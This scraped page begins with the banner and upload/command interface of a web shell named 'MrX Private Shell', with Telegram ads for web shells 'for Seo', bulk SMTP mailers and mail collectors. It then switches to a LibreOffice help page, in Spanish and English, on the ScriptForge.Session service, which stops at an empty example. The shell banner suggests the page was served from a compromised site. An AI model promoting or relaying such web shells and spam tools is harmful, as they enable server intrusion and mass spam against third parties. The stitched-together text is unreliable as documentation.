__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<base href="../../../../../">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Servicio ScriptForge.Session</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="es/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="es/bookmarks.js" defer></script><script type="text/javascript" src="es/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="es/text/shared/05/new_help.html"><div></div></a><a class="logo" href="es/text/shared/05/new_help.html"><p dir="auto">Ayuda de LibreOffice 25.2</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Módulo</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contenido</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Buscar en los marcadores del módulo elegido" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<noscript><div id="WarnJS"><h1 dir="auto">Active JavaScript en el navegador para mostrar las páginas de ayuda de LibreOffice.</h1></div></noscript>
  <a id="abstract"></a>
    <a id="bm_id661582814720399"></a>
      <meta itemprop="keywords" content="Session service">
    
    <h1 id="hd_id901582814720985" dir="auto">
<a id="SessionService"></a>Servicio <span class="literal">ScriptForge.Session</span>
</h1>
    <p id="par_id861582814720987" class="paragraph" dir="auto">El servicio <span class="literal">Session</span> reúne varios métodos de uso general relativos a:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id34158281472051" class="listitem" dir="auto">la instalación o el entorno de ejecución</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id411582814720361" class="listitem" dir="auto">Introspección de UNO</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id321582814720863" class="listitem" dir="auto">la invocación de secuencias de órdenes o programas externos</p>
      </li>
    </ul>
  

  <h2 id="hd_id91582814720116" dir="auto">Invocación del servicio</h2>
  <p id="par_id141609955500101" class="paragraph" dir="auto">Antes de utilizar el servicio <span class="literal">Session</span>, es necesario cargar o importar la biblioteca <span class="literal">ScriptForge</span>:</p>
  <div class="embedded">
<a id="importLibs"></a>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id901528999850603" dir="auto">• Para cargar la biblioteca  <span class="literal">ScriptForge</span> que necesitan las macros de Basic se debe usar la siguiente declaración:<br><span class="literal">GlobalScope.BasicLibraries.loadLibrary("ScriptForge")</span><br><br>• Los scripts de Python necesitan importar el módulo <span class="literal">scriptforge</span>:<br><span class="literal">from scriptforge import CreateScriptService</span></p></div>
</div>
<br>
  </div>

  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    GlobalScope.BasicLibraries.LoadLibrary("ScriptForge")
    Dim session As Variant
    session = CreateScriptService("Session")
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    from scriptforge import CreateScriptService
    session = CreateScriptService("Session")
  </code></pre></div>
  <h2 id="hd_id291582814720762" dir="auto">Constantes</h2>
    <p id="par_id82158281472034" class="paragraph" dir="auto">Below is a list of constants available to ease the designation of the library containing a Basic or Python script to invoke. Use them as <span class="literal">session.CONSTANT</span>.</p>
  <a id="properties_toc"></a>
    <table border="1" class="" cellpadding="0" cellspacing="0">
     <tr>
      <th rowspan="" colspan="" class="tableheadcell" dir="auto">
         <p id="par_id381582814720870" class="tableheadintable" dir="auto">CONSTANT</p>
      </th>
      <th rowspan="" colspan="" class="tableheadcell" dir="auto">
         <p id="par_id9158281472045" class="tableheadintable" dir="auto">Valor</p>
      </th>
      <th rowspan="" colspan="" class="tableheadcell" dir="auto">
         <p id="par_id241582814720636" class="tableheadintable" dir="auto">¿Dónde se encuentra la biblioteca?</p>
         </th>
      <th rowspan="" colspan="" class="tableheadcell" dir="auto">
         <p id="par_id361582814720116" class="tableheadintable" dir="auto">Se aplica</p>
      </th>
     </tr>
     <tr>
      <td rowspan="" colspan="" dir="auto">
         <p id="par_id821582814720218" class="tablecontentintable" dir="auto">SCRIPTISEMBEDDED</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
         <p id="par_id401582814720597" class="tablecontentintable" dir="auto">"document"</p>
      </td>
      <td rowspan="" colspan="" dir="auto">
         <p id="par_id451582814720105" class="tablecontentintable" dir="auto">en el documento</p>
         </td>
      <td rowspan="" colspan="" dir="auto">
         <p id="par_id421582814720733" class="tablecontentintable" dir="auto">Basic + Python</p>
      </td>
     </tr>
     <tr>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id191582814720876" class="tablecontentintable" dir="auto">SCRIPTISAPPLICATION</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id601582814720388" class="tablecontentintable" dir="auto">"application"</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id73158281472032" class="tablecontentintable" dir="auto">en cualquier biblioteca compartida</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id291582814720233" class="tablecontentintable" dir="auto">Basic</p>
        </td>
     </tr>
     <tr>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id571582814720667" class="tablecontentintable" dir="auto">SCRIPTISPERSONAL</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id4158281472033" class="tablecontentintable" dir="auto">"user"</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id391582814720487" class="tablecontentintable" dir="auto">en <span class="emph">Mis macros</span></p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id701582814720517" class="tablecontentintable" dir="auto">Python</p>
        </td>
     </tr>
     <tr>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id691582814720670" class="tablecontentintable" dir="auto">SCRIPTISPERSOXT</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id401582814720356" class="tablecontentintable" dir="auto">"user:uno_packages"</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id56158281472073" class="tablecontentintable" dir="auto">en una extensión instalada para la cuenta de usuario actual</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id611582814720723" class="tablecontentintable" dir="auto">Python</p>
        </td>
     </tr>
     <tr>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id781582814720282" class="tablecontentintable" dir="auto">SCRIPTISSHARED</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id991582814720953" class="tablecontentintable" dir="auto">"share"</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id21582814720997" class="tablecontentintable" dir="auto">en <span class="emph">Macros de la aplicación</span></p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id491582814720794" class="tablecontentintable" dir="auto">Python</p>
        </td>
     </tr>
     <tr>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id371582814720280" class="tablecontentintable" dir="auto">SCRIPTISSHAROXT</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id51582814720754" class="tablecontentintable" dir="auto">"share:uno_packages"</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id981582814720125" class="tablecontentintable" dir="auto">en una extensión instalada para todos los usuarios</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id66158281472037" class="tablecontentintable" dir="auto">Python</p>
        </td>
     </tr>
     <tr>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id71582814720886" class="tablecontentintable" dir="auto">SCRIPTISOXT</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id51582814720584" class="tablecontentintable" dir="auto">"uno_packages"</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id93158281472047" class="tablecontentintable" dir="auto">en una extensión cuyos parámetros de instalación, empero, se desconocen</p>
        </td>
        <td rowspan="" colspan="" dir="auto">
           <p id="par_id601582814720689" class="tablecontentintable" dir="auto">Python</p>
        </td>
     </tr>
    </table>
<br>
  

  <a id="methods_toc"></a>
   <table border="1" class="" cellpadding="0" cellspacing="0">
    <tr>
     <th rowspan="" colspan="3" class="tableheadcell" dir="auto">
       <p id="par_id891611613601554" class="tableheadintable" dir="auto">Lista de métodos en el servicio Session</p>
     </th>
    </tr>
    <tr>
       <td rowspan="" colspan="" dir="auto">
           <p id="par_id891611613601556" class="tablecontentintable" dir="auto">
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#ExecuteBasicScript">ExecuteBasicScript</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#ExecuteCalcFunction">ExecuteCalcFunction</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#ExecutePythonScript">ExecutePythonScript</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#GetPDFExportOptions">GetPDFExportOptions</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#HasUnoMethod">HasUnoMethod</a><br>
           </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
           <p id="par_id541611613601554" class="tablecontentintable" dir="auto">
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#HasUnoProperty">HasUnoProperty</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#OpenURLInBrowser">OpenURLInBrowser</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#RunApplication">RunApplication</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#SendMail">SendMail</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#SetPDFExportOptions">SetPDFExportOptions</a><br>
           </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
           <p id="par_id701611613601554" class="tablecontentintable" dir="auto">
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#UnoMethods">UnoMethods</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#UnoProperties">UnoProperties</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#UnoObjectType">UnoObjectType</a><br>
             <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#WebService">WebService</a><br><br>
           </p>
       </td>
    </tr>
   </table>
<br>
  

   <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id491613061572993" dir="auto"><span class="literal">Execute...</span> methods in <span class="literal">Session</span> service behave as follows:      <br>Arguments are passed by value. Changes made by the called function to the arguments do not update their values in the calling script.      <br>A single value or an array of values is returned to the calling script.</p></div>
</div>
<br>

<a id="ExecuteBasicScript"></a>
  
  <a id="bm_id41582815407230"></a>
    <meta itemprop="keywords" content="Session service,ExecuteBasicScript">
  
  <h2 id="hd_id281582815407230" dir="auto">ExecuteBasicScript</h2>
  <p id="par_id451582815407230" class="paragraph" dir="auto">Execute the BASIC script given its name and location, and fetch its result, if any.</p>
  <p id="par_id921600856780901" class="paragraph" dir="auto">If the script returns nothing, which is the case of procedures defined with <span class="literal">Sub</span>, the returned value is <span class="literal">Empty</span>.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id131626808989444" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.ExecuteBasicScript(scope: str, script: str, args: any[0..*]): any</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id631582815407231" class="paragraph" dir="auto"><span class="emph">scope</span>: String specifying where the script is stored. It can be either "document" (constant <span class="literal">session.SCRIPTISEMBEDDED</span>) or "application" (constant <span class="literal">session.SCRIPTISAPPLICATION</span>).</p>
  <p id="par_id691582815407231" class="paragraph" dir="auto"><span class="emph">script</span>: String specifying the script to be called in the format "library.module.method" as a case-sensitive string.</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id741626828862265" class="listitem" dir="auto">La biblioteca se carga en memoria si hace falta.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id981626828863001" class="listitem" dir="auto">El módulo no debe ser de clases.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id721626828863257" class="listitem" dir="auto">The method may be a <span class="literal">Sub</span> or a <span class="literal">Function</span>.</p>
    </li>
  </ul>
  <p id="par_id881582815407231" class="paragraph" dir="auto"><span class="emph">args</span>: The arguments to be passed to the called script.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <p id="par_id21626809513802" class="paragraph" dir="auto">Consider the following Basic function named <span class="literal">DummyFunction</span> that is stored in "My Macros" in the "Standard" library inside a module named "Module1".</p>
  <p id="par_id551626810319766" class="paragraph" dir="auto">La función simplemente recibe dos valores enteros, <span class="literal">v1</span> y <span class="literal">v2</span>, y devuelve la suma de todos los valores a partir de <span class="literal">v1</span> y que terminan en <span class="literal">v2</span>.</p>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Function DummyFunction(v1 as Integer, v2 as Integer) As Long
        Dim result as Long, i as Integer
        For i = v1 To v2
            result = result + i
        Next i
        DummyFunction = result
    End Function
  </code></pre></div>
  <p id="par_id461626810470057" class="paragraph" dir="auto">The examples below show how to call <span class="literal">DummyFunction</span> from within Basic and Python scripts.</p>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim session : session = CreateScriptService("Session")
    Dim b_script as String, result as Long
    b_script = "Standard.Module1.DummyFunction"
    result = session.ExecuteBasicScript("application", b_script, 1, 10)
    MsgBox result ' 55
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    session = CreateScriptService("Session")
    bas = CreateScriptService("Basic")
    b_script = 'Standard.Module1.DummyFunction'
    result = session.ExecuteBasicScript('application', b_script, 1, 10)
    bas.MsgBox(result) # 55
  </code></pre></div>


<a id="ExecuteCalcFunction"></a>
  
  <a id="bm_id571582816585180"></a>
    <meta itemprop="keywords" content="Session service,ExecuteCalcFunction">
  
  <h2 id="hd_id551582816585181" dir="auto">ExecuteCalcFunction</h2>
  <p id="par_id111582816585181" class="paragraph" dir="auto">Execute a Calc function using its English name and based on the given arguments.      <br>If the arguments are arrays, the function is executed as an <a target="_top" href="es/text/scalc/01/04060107.html">array formula</a>.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id701626811351722" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.ExecuteCalcFunction(calcfunction: str, args: any[0..*]): any</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id771582816585183" class="paragraph" dir="auto"><span class="emph">calcfunction</span>: The name of the Calc function to be called, in English.</p>
  <p id="par_id371582816585183" class="paragraph" dir="auto"><span class="emph">args</span>: The arguments to be passed to the called Calc function. Each argument must be either a string, a numeric value or an array of arrays combining those types.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    session.ExecuteCalcFunction("AVERAGE", 1, 5, 3, 7) ' 4
    session.ExecuteCalcFunction("ABS", Array(Array(-1, 2, 3), Array(4, -5, 6), Array(7, 8, -9)))(2)(2) ' 9
    session.ExecuteCalcFunction("LN", -3)
    ' Genera un error.
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    session.ExecuteCalcFunction("AVERAGE", 1, 5, 3, 7) # 4
    session.ExecuteCalcFunction("ABS", ((-1, 2, 3), (4, -5, 6), (7, 8, -9)))[2][2] # 9
    session.ExecuteCalcFunction("LN", -3)
  </code></pre></div>


<a id="ExecutePythonScript"></a>
  
  <a id="bm_id671582818023244"></a>
    <meta itemprop="keywords" content="Session service,ExecutePythonScript">
  
  <h2 id="hd_id741582818023244" dir="auto">ExecutePythonScript</h2>
  <p id="par_id571582818023245" class="paragraph" dir="auto">Execute the Python script given its location and name, fetch its result if any. Result can be a single value or an array of values.</p>
  <p id="par_id71600856817410" class="paragraph" dir="auto">Si la secuencia de órdenes no se encuentra o no devuelve nada, el valor devuelto será <span class="literal">Empty</span>.</p>
  <div class="embedded">
<a id="APIScriptingFramework"></a>
		 <p id="N0336" class="paragraph" dir="auto">El marco de programación de macros de la API (interfaz de programación de aplicaciones) de LibreOffice admite la ejecución de secuencias de órdenes entre Python y Basic u otros lenguajes de programación admitidos. Los argumentos se pueden pasar de un lado a otro entre llamadas, siempre que representen tipos de datos primitivos que ambos lenguajes reconozcan y suponiendo que el marco de programación de macros los convierta de forma adecuada.</p>
	  </div>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id421626816736635" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.ExecutePythonScript(scope: str, script: str, args: any[0..*]): any</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id791582818023246" class="paragraph" dir="auto"><span class="emph">scope</span>: One of the applicable constants listed <a target="_top" href="es/text/sbasic/shared/03/sf_session.html#properties_toc">above</a>. The default value is <span class="literal">session.SCRIPTISSHARED</span>.</p>
  <p id="par_id71582818023247" class="paragraph" dir="auto"><span class="emph">script</span>: Either "library/module.py$method" or "module.py$method" or "myExtension.oxt|myScript|module.py$method" as a case-sensitive string.</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto"><p id="par_id501613061041313" class="listitem" dir="auto">library: The folder path to the Python module.</p></li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto"><p id="par_id771613061043097" class="listitem" dir="auto">myScript: The folder containing the Python module.</p></li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto"><p id="par_id301613061123849" class="listitem" dir="auto">module.py: The Python module.</p></li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto"><p id="par_id241613061044560" class="listitem" dir="auto">method: The Python function.</p></li>
  </ul>
  <p id="par_id711582818023247" class="paragraph" dir="auto"><span class="emph">args</span>: The arguments to be passed to the called script.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <p id="par_id701626817164878" class="paragraph" dir="auto">Consider the Python function <span class="literal">odd_integers</span> defined below that creates a list with odd integer values between <span class="literal">v1</span> and <span class="literal">v2</span>. Suppose this function is stored in a file named <span class="emph">my_macros.py</span> in your user scripts folder.</p>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    def odd_integers(v1, v2):
        odd_list = [v for v in range(v1, v2 + 1) if v % 2 != 0]
        return odd_list
  </code></pre></div>
  <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id751626817335715" dir="auto">Read the help page <a target="_top" href="es/text/sbasic/python/python_locations.html">Python Scripts Organization and Location</a> to learn more about where Python scripts can be stored.</p></div>
</div>
<br>
  <p id="par_id121626817725471" class="paragraph" dir="auto">The following examples show how to call the function <span class="literal">odd_integers</span> from within Basic and Python scripts.</p>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim script as String, session as Object
    script = "my_macros.py$odd_integers"
    session = CreateScriptService("Session")
    Dim result as Variant
    result = session.ExecutePythonScript(session.SCRIPTISPERSONAL, script, 1, 9)
    MsgBox SF_String.Represent(result)
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    session = CreateScriptService("Session")
    script = "my_macros.py$odd_integers"
    result = session.ExecutePythonScript(session.SCRIPTISPERSONAL, script, 1, 9)
    bas.MsgBox(repr(result))
  </code></pre></div>


<a id="GetPDFExportOptions"></a>
  
  <a id="bm_id571582816536250"></a>
    <meta itemprop="keywords" content="Session service,GetPDFExportOptions">
  
  <h2 id="hd_id551582816589871" dir="auto">GetPDFExportOptions</h2>
  <p id="par_id111582816585087" class="paragraph" dir="auto">Devuelve la configuración actual de exportación a PDF que se ha definido en el cuadro de diálogo <span class="menuitem">Opciones de PDF</span>, al cual se puede acceder al elegir <span class="menuitem">Archivo ▸ Exportar a ▸ Exportar a PDF</span>.</p>
  <p id="par_id931638383270026" class="paragraph" dir="auto">Export options set with the <span class="menuitem">PDF Options</span> dialog are kept for future use. Hence <span class="literal">GetPDFExportOptions</span> returns the settings currently defined. In addition, use <span class="literal">SetPDFExportOptions</span> to change current PDF export options.</p>
  <p id="par_id801638383659558" class="paragraph" dir="auto">This method returns a <span class="literal">Dictionary</span> object wherein each key represent export options and the corresponding values are the current PDF export settings.</p>
  <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id751638383457198" dir="auto">Read the <a target="_blank" href="https://wiki.openoffice.org/wiki/API/Tutorials/PDF_export">PDF Export wiki page</a> to learn more about all available options.</p></div>
</div>
<br>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id701626811351883" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.GetPDFExportOptions(): obj</span>
  </p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim expSettings As Object, msg As String, key As String, optLabels As Variant
    expSettings = session.GetPDFExportOptions()
    optLabels = expSettings.Keys
    For Each key in optLabels
        msg = msg + key &amp; ": " &amp; expSettings.Item(key) &amp; Chr(10)
    Next key
    MsgBox msg
    ' Zoom: 100
    ' Changes: 4
    ' Quality: 90
    ' ...
  </code></pre></div>
  <div class="embedded">
<a id="Basic_Only"></a>
<div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id701621038131185" dir="auto">Este método está disponible únicamente para secuencias <span class="emph">BASIC</span>.</p></div>
</div>
<br>
</div>


<a id="HasUnoMethod"></a>
  
  <a id="bm_id901587477335292"></a>
    <meta itemprop="keywords" content="Session service,HasUnoMethod">
  
  <h2 id="hd_id58158747733586" dir="auto">HasUnoMethod</h2>
  <p id="par_id111587477335982" class="paragraph" dir="auto">Returns <span class="literal">True</span> if an UNO object contains the given method. Returns <span class="literal">False</span> when the method is not found or when an argument is invalid.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id761626818201301" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">session.HasUnoMethod(unoobject: uno, methodname: str): bool</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id921587477335673" class="paragraph" dir="auto"><span class="emph">unoobject</span>: el objeto que se inspeccionará.</p>
  <p id="par_id631587477566016" class="paragraph" dir="auto"><span class="emph">methodname</span>: the method as a case-sensitive string</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim a As Variant
    a = CreateUnoService("com.sun.star.sheet.FunctionAccess")
    MsgBox session.HasUnoMethod(a, "callFunction") ' True
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
